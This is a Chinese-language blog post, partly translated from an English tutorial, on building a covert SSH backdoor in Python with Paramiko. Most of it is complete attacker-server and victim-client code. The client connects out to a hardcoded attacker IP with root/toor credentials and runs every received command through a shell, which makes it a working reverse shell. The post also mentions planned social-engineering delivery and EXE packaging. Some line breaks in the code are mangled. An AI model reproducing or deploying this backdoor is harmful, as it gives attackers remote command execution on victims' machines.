看到一篇不錯的關於python ssh後門相關知識的文章,一邊學習順帶部分翻譯一下。原文地址:http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/。在《Black Hat Python Python Programming for Hackers and Pentesters》一書中,也有一個相似的demo,你們能夠參考學習一下。python
方法:shell
1.如何實施攻擊;服務器
2.創建SSH隧道session
3.反彈Shellssh
4.SFTPsocket
5.編寫自定義的特性(抓取屏幕截圖)函數
6.把代碼封裝成EXE學習
7.認證this
如何實施攻擊spa
關於實施攻擊這一塊,文中提到的是採用社會工程學,具體能夠看原文。
創建SSH隧道
利用Paramiko庫來創建SSH隧道。來看一下源碼:
服務端源碼:
#!/usr/bin/env python# __author__ = 'sniper.geek'import socket
import paramiko
import threading
import syshost_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == 'toor'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
try:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind(('10.0.2.15', 22))sock.listen(100)print '[+] Listening for connection ...'
client, addr = sock.accept()except Exception, e:print '[-] Listen/bind/accept failed: ' + str(e)
sys.exit(1)print '[+] Got a connection!'
try:t = paramiko.Transport(client)try:t.load_server_moduli()except:print '[-] (Failed to load moduli -- gex will be unsupported.)'raiset.add_server_key(host_key)server = Server()try:t.start_server(server=server)except paramiko.SSHException, x:print '[-] SSH negotiation failed.'
chan = t.accept(20)print '[+] Authenticated!'
print chan.recv(1024)
chan.send('Yeah i can see this')except Exception, e:print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)try:t.close()
except:passsys.exit(1)
代碼開始定義了本地的RSA key,這個key用於簽名和認證。在這裏使用Paramiko包中包含的test_rsa.key。
class Server定義了在服務器模式下控制Paramiko行爲的接口,也包含處理來自客戶端的請求函數。例如:「def check_auth_password」定義了在認證過程當中,客戶端的用戶名和密碼是否正確。
在客戶端請求一個信道的時候,服務端的「def check_channel_request」將被調用。
客戶端源碼:
#!/usr/bin/env python# __author__ = 'sniper.geek'import paramiko
import threading
client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())client.connect('10.0.2.15', username='root', password='toor')chan = client.get_transport().open_session()chan.send('Hey i am connected :) ')print chan.recv(1024)
client.close
SSHClient()類負責大部分認證和開放信道的方面。
paramiko.AutoAddPolicy()類自動增長主機名和服務器主機密鑰到本地的「HostKeys」對象而且保存它。這樣就不用擔憂你在第一次鏈接SSH服務器的時候,出現的 識別服務器密鑰指紋的通知消息。這裏的IP爲咱們的攻擊者機器的IP地址。
client.get_transport().open_session()向服務器請求一個類型爲「session」的新信道。若是一切都順利,咱們會發送(「Hey i am connected:」)到服務器而且打印服務器發送過來的消息。
DEMO演示:
服務端監聽:
客戶端鏈接:
服務端輸出:
爲了支持反彈shell的功能。在服務端須要作一些修改。增長下面的代碼到‘chan.send(Yeah i can see this)’後面,最後總體代碼以下:(黃色部分爲增長的代碼)
1: #!/usr/bin/env python2: # __author__ = 'sniper.geek'3:4: import socket
5: import paramiko
6: import threading
7: import sys8:9: host_key = paramiko.RSAKey(filename='/root/Desktop/test_rsa.key')10:11: class Server (paramiko.ServerInterface):
12: def _init_(self):
13: self.event = threading.Event()14: def check_channel_request(self, kind, chanid):
15: if kind == 'session':
16: return paramiko.OPEN_SUCCEEDED
17: return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
18: def check_auth_password(self, username, password):
19: if (username == 'root') and (password == 'toor'):
20: return paramiko.AUTH_SUCCESSFUL
21: return paramiko.AUTH_FAILED
22:23: try:24: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)25: sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)26: sock.bind(('10.0.2.15', 22))27: sock.listen(100)28: print '[+] Listening for connection ...'
29: client, addr = sock.accept()30: except Exception, e:31: print '[-] Listen/bind/accept failed: ' + str(e)
32: sys.exit(1)33: print '[+] Got a connection!'
34:35: try:36: t = paramiko.Transport(client)37: try:38: t.load_server_moduli()39: except:40: print '[-] (Failed to load moduli -- gex will be unsupported.)'41: raise42: t.add_server_key(host_key)43: server = Server()44: try:45: t.start_server(server=server)46: except paramiko.SSHException, x:47: print '[-] SSH negotiation failed.'
48:49: chan = t.accept(20)50: print '[+] Authenticated!'
51: print chan.recv(1024)
52: chan.send('Yeah i can see this')53: while True:54: command= raw_input("Enter command: ").strip('\n')55: chan.send(command)56: print chan.recv(1024) + '\n'
57:58: except Exception, e:59: print '[-] Caught exception: ' + str(e.__class__)+':'+str(e)60: try:61: t.close()
62: except:63: pass64: sys.exit(1)
客戶端代碼在chan.recv(2048)後面增長以下代碼,最後總體代碼以下:(紅色部分爲增長的代碼)
1: #!/usr/bin/env python2: # __author__ = 'sniper.geek'3:4: import paramiko
5: import threading
6: import subprocess
7:8: client = paramiko.SSHClient()9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())10: client.connect('10.0.2.15', username='root', password='toor')11: chan = client.get_transport().open_session()12: chan.send('Hey i am connected :) ')13: print chan.recv(1024)
14: while True:15: command = chan.recv(1024)16: try:17: CMD = subprocess.check_output(command, shell=True)18: chan.send(CMD)19: except Exception,e:20: chan.send(str(e))
接下來,再看一下演示:
服務端:
客戶端:
這裏有個問題,若是服務端終止服務,客戶端會被掛起。能夠在客戶端try…except…以前加入一個判斷,若是接收到的命令時exit,則退出,服務端也作一樣的判斷。
1: #!/usr/bin/env python2: # __author__ = 'sniper.geek'3:4: import paramiko
5: import threading
6: import subprocess
7:8: client = paramiko.SSHClient()9: client.set_missing_host_key_policy(paramiko.AutoAddPolicy())10: client.connect('192.168.107.128', username='root', password='toor')11: chan = client.get_transport().open_session()12: chan.send('Hey i am connected :) ')13: print chan.recv(1024)
14: while True:15: command = chan.recv(1024)16: if 'exit' in command.rstrip('\n').lower():17: client.close
18: exit(1)
19: try:20: CMD = subprocess.check_output(command, shell=True)21: chan.send(CMD)22: except Exception,e:23: chan.send(str(e))24: client.close